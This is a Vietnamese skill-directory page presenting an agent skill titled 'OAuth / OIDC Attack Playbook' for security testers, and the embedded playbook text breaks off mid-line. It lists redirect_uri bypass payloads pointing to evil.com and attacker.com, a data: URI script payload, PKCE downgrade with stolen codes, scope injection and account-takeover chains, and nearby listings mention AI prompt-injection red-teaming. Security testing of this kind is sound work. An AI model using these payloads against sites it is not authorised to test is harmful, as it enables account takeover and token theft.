oauth
Skill này làm gì
Skill này giải thích các lỗi phổ biến trong đăng nhập OAuth và OpenID, như địa chỉ chuyển hướng lỏng lẻo và kiểm tra state yếu. Dành cho người kiểm thử bảo mật rà soát đăng nhập bằng tài khoản bên thứ ba.
Khi nào nên dùng
- ✓Khi một trang cung cấp đăng nhập bằng nhà cung cấp như Google hoặc dịch vụ OAuth khác.
- ✓Khi một rà soát bảo mật hỏi liệu địa chỉ chuyển hướng có được kiểm tra chặt chẽ không.
- ✓Khi bạn muốn kiểm tra xem mã đăng nhập hoặc token bị đánh cắp có thể dùng cho tài khoản khác không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem luồng Đăng nhập bằng Google trên trang của tôi có thể gửi mã đăng nhập đến địa chỉ sai không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent lập bản đồ các endpoint đăng nhập, thay đổi địa chỉ chuyển hướng và các tham số khác, rồi kiểm tra xem nhà cung cấp hay trang có chấp nhận giá trị đã đổi không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
OAuth / OIDC Attack Playbook
OAuth bugs are the single highest-paying ATO vector in modern bug bounty. Every B2B SaaS has an OAuth surface; many implement it wrong.
1. Map the flow
# Discovery
curl -s https://target/.well-known/openid-configuration | jq
# Key endpoints to identify:
# - /authorize (where redirect_uri/client_id/scope arrive)
# - /token (where code exchanges for tokens)
# - /userinfo (claims about user)
# - /jwks.json (signing keys, see jwt/SKILL.md)
# - /revoke (sometimes overpermissive)
Capture a normal flow in Burp. Note: client_id, redirect_uri, state,
scope, response_type, code_challenge (PKCE).
2. Attack surface
2.1 redirect_uri bypass
The #1 OAuth bug class. Server's allowlist regex is too loose:
| Bypass | Example |
|---|---|
| Path append | https://target.com/callback/../../evil |
| Subdomain wildcard | https://target.com.evil.com/cb (server matches *.target.com) |
| Userinfo trick | https://target.com@evil.com/cb |
| Path-traversal in fragment | https://target.com/cb#@evil.com |
| Open-redirect chain | redirect_uri=https://target.com/known-redirect?to=evil.com |
| Localhost / loopback | redirect_uri=http://localhost:1337 (often allowlisted) |
data: URI |
redirect_uri=data:text/html,<script>... (rare but devastating) |
| Mixed-protocol | http:// accepted where https:// required |
| URL-encoded slash | https://target.com%2Fcallback%2F@evil.com |
| Different fragment behavior | redirect_uri=https://evil.com#https://target.com/cb |
Test ALL of these. paramspider + Burp Intruder w/ payload list = systematic.
2.2 State parameter missing / weak (CSRF)
state should bind the auth request to the user's session. Missing or
predictable state → attacker initiates OAuth in own browser, sends victim
the URL, victim clicks → attacker's account now linked to victim's identity.
GET /authorize?response_type=code
&client_id=...
&redirect_uri=https://target.com/cb
&state= ← empty or predictable
2.3 PKCE downgrade
Public clients (mobile, SPA) SHOULD use PKCE. If server accepts
code_verifier omission for a flow that should require it:
POST /token
client_id=mobile-app
code=<stolen_code>
# Note: no code_verifier sent
Some servers fall back to non-PKCE flow → stolen code exchanges fine.
2.4 Code reuse / replay
Some servers don't invalidate codes after first exchange. Capture the code (via referer leak, IDOR, log scrape) → exchange in attacker's session for victim's tokens.
2.5 Referer leak of code
Some apps render auth-callback as a regular page that fetches resources
from third-party CDNs. The full URL (including ?code=...) is sent in
Referer header to those CDNs. Attacker who owns / can compromise a
CDN link extracts the code.
Test: visit the callback URL, observe Referer to all third-party hosts.
2.6 Scope creep / mass-assignment in token request
POST /token
grant_type=authorization_code
code=...
scope=read write admin ← inject elevated scope
Some servers honor a scope parameter at token-exchange time and don't
re-validate against original /authorize scope.
2.7 response_type confusion
The hybrid flow (response_type=code id_token) may behave differently:
- Server returns id_token in URL fragment (visible client-side)
- Then code exchange for access_token
- Sometimes the id_token validation is weak/skipped on response_type variations
2.8 client_id confusion
Some servers trust client_id as the only identifier. If two clients
share a redirect_uri pattern, you can re-use one's code as another:
client_id=trusted-internal-app
redirect_uri=https://attacker.com/cb (also allowlisted for trusted app!)
2.9 OAuth → Account Takeover chain
The classic ATO via OAuth:
- Victim signs in to target via OAuth (Google/Microsoft)
- Attacker finds open-redirect or XSS on target
- Attacker crafts OAuth init URL w/ redirect_uri pointing to attacker via open-redirect
- Victim clicks → server issues code → redirected to attacker's host w/ code in URL
- Attacker exchanges code for victim's tokens → full ATO
2.10 Account-linking vulnerabilities
"Sign in with Google" can link a NEW Google account to an EXISTING email-password account if the server matches solely by email. Attacker registers victim@target-mail.com (a typosquat or sub-add), starts OAuth, links to victim's existing account.
3. Tools
- `o
Câu hỏi thường gặp
redirect_uri bypass là gì?
Nó xảy ra khi máy chủ đăng nhập chấp nhận một địa chỉ quay về hơi khác, nên mã đăng nhập có thể bị gửi đến nơi không phải trang thật.
Nó có bao gồm PKCE không?
Có. Nó nhắc đến việc kiểm tra xem PKCE có thể bị hạ cấp hoặc bỏ qua không.
Skill bắt đầu từ đâu?
Nó bắt đầu bằng việc đọc file openid-configuration của nhà cung cấp để tìm các endpoint chính.
Chi tiết
Mô tả gốc của tác giả
OAuth 2.0 / OIDC attacks — redirect_uri bypass, state CSRF, code leak via Referer, response_type confusion, PKCE downgrade, scope creep, ATO chains.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14073
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.